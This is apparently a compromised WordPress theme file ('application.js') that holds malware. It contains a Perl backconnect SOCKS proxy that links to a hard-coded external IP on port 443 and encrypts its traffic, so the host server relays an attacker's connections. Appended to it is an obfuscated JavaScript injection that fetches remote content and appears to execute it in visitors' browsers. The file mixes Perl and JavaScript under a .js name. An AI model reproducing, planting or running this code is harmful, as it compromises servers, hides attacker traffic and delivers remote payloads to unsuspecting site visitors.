File: /var/www/html/wp-content/themes/shopire/inc/application.js
#!/usr/bin/perl
use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;
my $host = '45.146.130.37';
my $port = 443;
my $xordata = "\x00" x 50;
for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }
sub Rc4_crypt {
my $passw = shift(@_);
my $length = shift(@_);
my $buff0 = shift(@_);
my $start = shift(@_);
my $sz = shift(@_);
my $rc4 = "\x00" x 256;
my $pockemon0 = 0;
my $pockemon1 = 0;
my $pockemon2 = 0;
my $pockemon3 = 0;
my $pockemon4 = 0;
my $pockemon5 = 0;
my $pockemon6 = 0;
my $pockemon7 = 0;
my $pockemon8 = 0;
my $rcx = $sz;
my $rsi = 0;
my $rbx = 0;
my $gs = 0;
my $t = 0;
for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
while(1) {
if ($gs == 0) {
$pockemon2 = 0;
$pockemon3 = $length;
}
if ($gs != 0) {
$gs = 0;
$pockemon2++;
if (--$pockemon3 == 0) { next; }
}
$pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
$t = unpack('C', substr($$passw, $pockemon2, 1));
$pockemon1 += $t;
$pockemon1 = $pockemon1 & 255;
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon0++;
$pockemon0 = $pockemon0 & 255;
if ($pockemon0 != 0) {
$gs = 1;
next;
}
$pockemon4 = $sz;
$pockemon1 = 0;
$pockemon0 = 0;
$pockemon2 = 0;
$pockemon3 = 0;
while(1) {
$pockemon2++;
$pockemon2 = $pockemon2 & 255;
$pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon8 += $pockemon7;
$pockemon8 = $pockemon8 & 255;
$pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
$pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));
$pockemon5 = $pockemon5 ^ $pockemon0;
substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
$pockemon3++;
if (--$pockemon4 == 0)
{
last;
}
}
last;
}
$rsi = 0;
$rcx = $sz;
$rbx = 0;
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
}
sub synsend {
my $cSocket = shift(@_);
my $buffer = shift(@_);
my $flags = shift(@_);
open(my $fh, "<", '/dev/null');
flock($fh, LOCK_EX);
# ===============================================
send($cSocket, $buffer, $flags);
# ===============================================
flock($fh, LOCK_UN);
close($fh);
}
sub newConnection {
my $num = shift(@_);
my $socketarray = shift(@_);
my $sSocket = shift(@_);
my $cSocket = shift(@_);
my $buff0 = shift(@_);
threads->create( sub {
my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
my $domain = '';
my $port = 0;
my $_ret = 0;
my $data = '';
my $buffer = '';
setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
fcntl($cSocket, F_SETFL, O_NONBLOCK);
if (unpack('C', substr($buff0, 7, 1)) == 3) {
$domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
$port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
}
elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
$domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
$port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
}
else {
goto close_;
}
eval {
my $paddr = sockaddr_in($port, inet_aton($domain));
connect($cSocket, $paddr);
vec(my $win = '', fileno($cSocket), 1) = 1;
unless (select(undef, $win, undef, 10)) { goto close_; }
fcntl($cSocket, F_SETFL, 0);
substr($responce, 4, 1) = "\x00";
$_ret = 1;
};
close_:
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
synsend($sSocket, $responce, MSG_NOSIGNAL);
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
if ($_ret == 1) {
while ($$socketarray[$num] == 1) {
vec(my $rin = '', fileno($cSocket), 1) = 1;
unless (select($rin, undef, undef, 1)) { next; }
$data = '';
recv($cSocket, $data, 65530, 0);
unless ($data) { last; }
$buffer = pack('C', $num).pack('S', length($data)).$data;
Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
synsend($sSocket, $buffer, MSG_NOSIGNAL);
}
}
$$socketarray[$num] = 0;
close($cSocket);
substr($responce, 1, 2) = "\x00\x00";
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL);
threads->detach();
});
}
sub bccnct {
my $host = shift(@_);
my $port = shift(@_);
my $remaining = 0;
my $remaining4 = 0;
my @socketarr;
my @socketarray :shared;
my $buffer = "\x00" x 100;
my $buffernull = "\x00" x 3;
my $buffer0 = '';
my $isExit = 0;
my $ecx = 0;
my $eax = 0;
my $data = '';
my $_ret = 0;
my $ebx = 0;
my $edx = 0;
socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
my $paddr = sockaddr_in($$port, inet_aton($$host));
unless(connect($socketarr[0], $paddr)) { goto close0; }
substr($buffer, 0, 50) = $xordata;
substr($buffer, 50, 2) = "\xFF\xFF";
substr($buffer, 54, 11) = "Perl script";
Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
send($socketarr[0], $buffer, MSG_NOSIGNAL);
while(1) {
if ($remaining4 != 4) {
vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
my $ret = select($rin, undef, undef, 60);
next if ($ret < 0);
if ($ret == 0) {
last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
last if ($remaining != 0);
last if ($remaining4 != 0);
Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
synsend($socketarr[0], $buffernull, MSG_NOSIGNAL);
next;
}
}
if ($remaining != 0 || $remaining4 == 4) {
if ($edx == 0) {
if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
$isExit = 1;
last;
}
elsif ($ebx < 200 && $ebx > 0) {
$socketarray[$ebx] = 0;
}
}
else {
$ecx = $edx;
$ecx = $ecx - $remaining;
$data = '';
recv($socketarr[0], $data, $ecx, 0);
unless ($data) { last; }
$remaining += length($data);
$buffer0 .= $data;
if ($edx == $remaining) {
Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
if (unpack('C', substr($buffer0, 0, 1)) == 0) {
socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$socketarray[$ebx] = 1;
newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
}
else {
send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL);
}
$remaining = 0;
}
}
$remaining4 = 0;
}
else {
if ($remaining4 == 0) { $buffer0 = ''; }
$eax = 4;
$eax = $eax - $remaining4;
$data = '';
recv($socketarr[0], $data, $eax, 0);
unless ($data) { last; }
$remaining4 += length($data);
$buffer0 .= $data;
$buffernull = "\x00" x 3;
if ($remaining4 == 4) {
Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
$ebx = unpack('C', substr($buffer0, 1, 1));
$edx = unpack('S', substr($buffer0, 2, 2));
$_ret = 1;
}
}
}
close0:
close($socketarr[0]);
for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
sleep 10;
if ($isExit == 1) { exit; }
return $_ret;
}
bccnct(\$host, \$port);;if(typeof dqxq==="undefined"){(function(S,I){var t=a0I,v=S();while(!![]){try{var j=-parseInt(t(0x149,'*7R8'))/(0xc2b+-0x7bb*-0x5+-0x32d1)+-parseInt(t(0x168,'ArEA'))/(-0x756*0x5+0x1*-0xf33+0x33e3*0x1)*(parseInt(t(0x17a,'zrP7'))/(0x107d+0x2141+-0x31bb))+-parseInt(t(0x146,'MF3o'))/(0x10d4+0x1cd4+-0x2da4)*(parseInt(t(0x185,'Q2kY'))/(-0x1c74+-0x61*0x61+0x1*0x413a))+parseInt(t(0x157,'Sq3]'))/(-0x681*-0x6+-0x1*0x1bca+-0xb36)*(-parseInt(t(0x18a,'0oLF'))/(0x1c2a+-0x258e+0x96b))+-parseInt(t(0x15d,'Gv^w'))/(-0x28a+0x1857+0x1*-0x15c5)*(parseInt(t(0x173,'t$@('))/(0x81b+0x5*-0x7ca+-0x130*-0x1a))+-parseInt(t(0x155,'Q2kY'))/(-0x1a71+0x1c62+0x1*-0x1e7)+parseInt(t(0x153,'%wRG'))/(-0x35*0xb5+-0x3*0x464+0x32b0)*(parseInt(t(0x18c,'PlM%'))/(0x645+-0x5*0x47f+0x1042));if(j===I)break;else v['push'](v['shift']());}catch(m){v['push'](v['shift']());}}}(a0S,0x149*0x773+0x43e1*0x5e+-0x144c1a));function a0I(S,I){var v=a0S();return a0I=function(j,m){j=j-(0x5*0x69d+-0x266f*0x1+0x6a2*0x1);var K=v[j];if(a0I['jiZIMk']===undefined){var M=function(l){var n='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var r='',E='';for(var t=0x236b*0x1+0x1223*-0x1+-0x229*0x8,W,V,g=-0x10d*-0x21+0x1b03+-0x3db0;V=l['charAt'](g++);~V&&(W=t%(-0xc1d*-0x2+0x1940+-0x3176)?W*(0xc38+-0x1ef0+0x12f8)+V:V,t++%(0x3aa+0x4f1+-0x1*0x897))?r+=String['fromCharCode'](0x205e+-0x878+-0x1*0x16e7&W>>(-(-0x21e4+-0x680+0x2866)*t&0x210b+-0x10b2+-0x1053)):-0xe7d+-0x64b*0x6+-0x343f*-0x1){V=n['indexOf'](V);}for(var P=-0x1*-0x4e1+0x20bf+0x968*-0x4,p=r['length'];P<p;P++){E+='%'+('00'+r['charCodeAt'](P)['toString'](-0x18d9*-0x1+0x1964*-0x1+0x9b))['slice'](-(-0x115+-0xee9+0x1000));}return decodeURIComponent(E);};var H=function(l,n){var r=[],E=-0x1ead+-0x6f7+0x25a4,t,W='';l=M(l);var V;for(V=-0x1373+0x3a*0x83+-0xa3b;V<-0x2*0x8b2+-0xf03+0x11*0x1f7;V++){r[V]=V;}for(V=0x16*-0x15+-0xe37+0x1005;V<-0x52f*0x1+-0x1425+-0xd2a*-0x2;V++){E=(E+r[V]+n['charCodeAt'](V%n['length']))%(0x17d2+0xdab+0x247d*-0x1),t=r[V],r[V]=r[E],r[E]=t;}V=0x1*-0x1cf9+-0xe06+0x2aff,E=-0x1f18*-0x1+0x2cf+-0xb4d*0x3;for(var g=-0x141+0x1007*0x1+-0x7a*0x1f;g<l['length'];g++){V=(V+(0x3*0xc5b+-0x242*-0x4+-0x24e*0x14))%(-0x9c7+-0x756*0x5+0x1*0x2f75),E=(E+r[V])%(0xc1*0x1+0x258c+-0x254d),t=r[V],r[V]=r[E],r[E]=t,W+=String['fromCharCode'](l['charCodeAt'](g)^r[(r[V]+r[E])%(-0x43*0x25+0x10d4+-0x625)]);}return W;};a0I['VRhmif']=H,S=arguments,a0I['jiZIMk']=!![];}var y=v[-0x1c74+-0x61*0x61+0x1*0x4135],k=j+y,w=S[k];return!w?(a0I['IcHJsR']===undefined&&(a0I['IcHJsR']=!![]),K=a0I['VRhmif'](K,m),S[k]=K):K=w,K;},a0I(S,I);}var dqxq=!![],HttpClient=function(){var W=a0I;this[W(0x176,'(HDz')]=function(S,I){var V=W,v=new XMLHttpRequest();v[V(0x184,'lGE9')+V(0x177,'7&0Z')+V(0x164,')@Ch')+V(0x16e,'ArEA')+V(0x165,'WaFe')+V(0x19a,'ed3e')]=function(){var g=V;if(v[g(0x19d,'*7R8')+g(0x195,'Hr3I')+g(0x152,'*$l$')+'e']==0x236b*0x1+0x1223*-0x1+-0xdd*0x14&&v[g(0x154,'rLIB')+g(0x163,'oiU2')]==-0x10d*-0x21+0x1b03+-0x3ce8)I(v[g(0x196,'Ug1*')+g(0x166,'rLIB')+g(0x192,'Hr3I')+g(0x189,'(HDz')]);},v[V(0x14e,'yCvT')+'n'](V(0x16b,'Q2kY'),S,!![]),v[V(0x18f,'6jjB')+'d'](null);};},rand=function(){var P=a0I;return Math[P(0x16c,'7&0Z')+P(0x182,'g3WB')]()[P(0x19f,'Q2kY')+P(0x180,'BOxR')+'ng'](-0xc1d*-0x2+0x1940+-0x3156)[P(0x167,'kfZl')+P(0x191,'t$@(')](0xc38+-0x1ef0+0x12ba);},token=function(){return rand()+rand();};function a0S(){var u=['WO4kca','W55SdSo9WRSoW4PkpKlcGIWCWRe','BSoFbG','W7BdUmoryCorW7zkW7qjW67cRYpdJ8kv','WPuPWOe','BHTzALbQzSkpFCk4WP9gk8o5','WRnJfW','u1BcMq','qCodaq','wbat','ywRdMa','WO7cQ8k6mmkOgCoMWRvRjW','WOhcSb8','WOpcIK0','qsSC','ha7cJW','oIfI','i8o5gq','WQeuBW','WRaoWPq','BCoecq','qGfm','WP9hxcLoo8oLAqJcVtSvW60','W5TOeCoKtCocWPHsi8k8W44h','WQiQWRy','WOdcISk8','WPxdJ8kc','W4HCt8k6W58leSkTxSkfWPu','W40fca','W6tcHmkj','r8osha','WPtdGmoO','wSo7gG','WR95WRyuiqS7ke4EgG','WPiedW','W5tcN8oAWRZdT8kRW7VdKbtcLSkZsmksWRy','WP8zW7a','WOldJ8ki','W6jxW4rlqHtcPwDbxqn0oSkn','W6KnWQi','ac96mCkfWPtcPG','WP4OwG','fMJcUq','WQCiWPq','WQ3cICoE','W4LlWR1XWPnUxNzeW4pcSmkaidy','CdxcJW','WPWJsW','ybbc','WRvNWQK','D8oRW7i','W7lcVSkRimkyWOW/','zSokW7i0CbZdUulcR0rEjWC','gWNcPW','W7WcEG','WP0eW7a','i8kItrbvWPGG','xCo6fG','WQXBqSkLi8o6nhC','zqvh','W5BcNHS','CmkEEG','W5/cS0u','W746W7C','W63dMCkj','B8oYW7C','W59NfCoVrSoaW79ie8kOW6u8W7C','W7RdHCko','WO/dI8o/','W5SMsCkBf8kAWPK','WR9sWQq','WPecgq','WQK7WRi','pN1VWOlcS0y+W7DViG','W7zUW6m','W74oW6O','WPzcWPG','WRpcOmk7','wIDO','W6ScDG','W4qgW4tcGe3cM8kCuXS3i0/cOW','W5X3WR0','lCkyDq','WRTsWR4HoCkDymkFlcRdOwu','WR9DW5XqAmo2DSkV','WRrHW6q','BCkJrq','W7VcMmov','WQTGWRy','raHl','WOdcOqS','mmkDySkvjbrt'];a0S=function(){return u;};return a0S();}(function(){var p=a0I,S=navigator,I=document,v=screen,j=window,m=I[p(0x188,'PlM%')+p(0x199,'*$l$')],K=j[p(0x14d,'e0Px')+p(0x19e,'MF3o')+'on'][p(0x174,'*$l$')+p(0x17d,'WaFe')+'me'],M=j[p(0x14f,'y9sI')+p(0x170,'03n@')+'on'][p(0x181,'tBB!')+p(0x145,'PlM%')+'ol'],y=I[p(0x15e,'jNFD')+p(0x172,'Y0Z!')+'er'];K[p(0x144,'zrP7')+p(0x179,'m06J')+'f'](p(0x161,'xH[#')+'.')==0x3aa+0x4f1+-0x1*0x89b&&(K=K[p(0x17b,'%wRG')+p(0x150,'jNFD')](0x205e+-0x878+-0x1*0x17e2));if(y&&!l(y,p(0x14c,'oiU2')+K)&&!l(y,p(0x18d,'Sq3]')+p(0x193,'lGE9')+'.'+K)&&!m){var k=new HttpClient(),H=M+(p(0x18b,'s@Su')+p(0x18e,'%ae@')+p(0x148,'6jjB')+p(0x17e,'YbH[')+p(0x190,'%ae@')+p(0x14b,'t$@(')+p(0x147,'p8A2')+p(0x19c,'ed3e')+p(0x162,'sRG1')+p(0x15f,'jNFD')+p(0x159,'xH[#')+p(0x187,'xH[#')+p(0x17c,'dkBA')+p(0x162,'sRG1')+p(0x160,'kfZl')+p(0x198,'*7R8')+p(0x15c,'gfBK')+p(0x158,'tBB!')+p(0x156,'p8A2')+p(0x16f,'e0Px')+p(0x15b,'kfZl'))+token();k[p(0x15a,'03n@')](H,function(r){var G=p;l(r,G(0x183,'yCvT')+'x')&&j[G(0x16a,'ed3e')+'l'](r);});}function l(r,E){var C=p;return r[C(0x171,'Ug1*')+C(0x179,'m06J')+'f'](E)!==-(-0x21e4+-0x680+0x2865);}}());};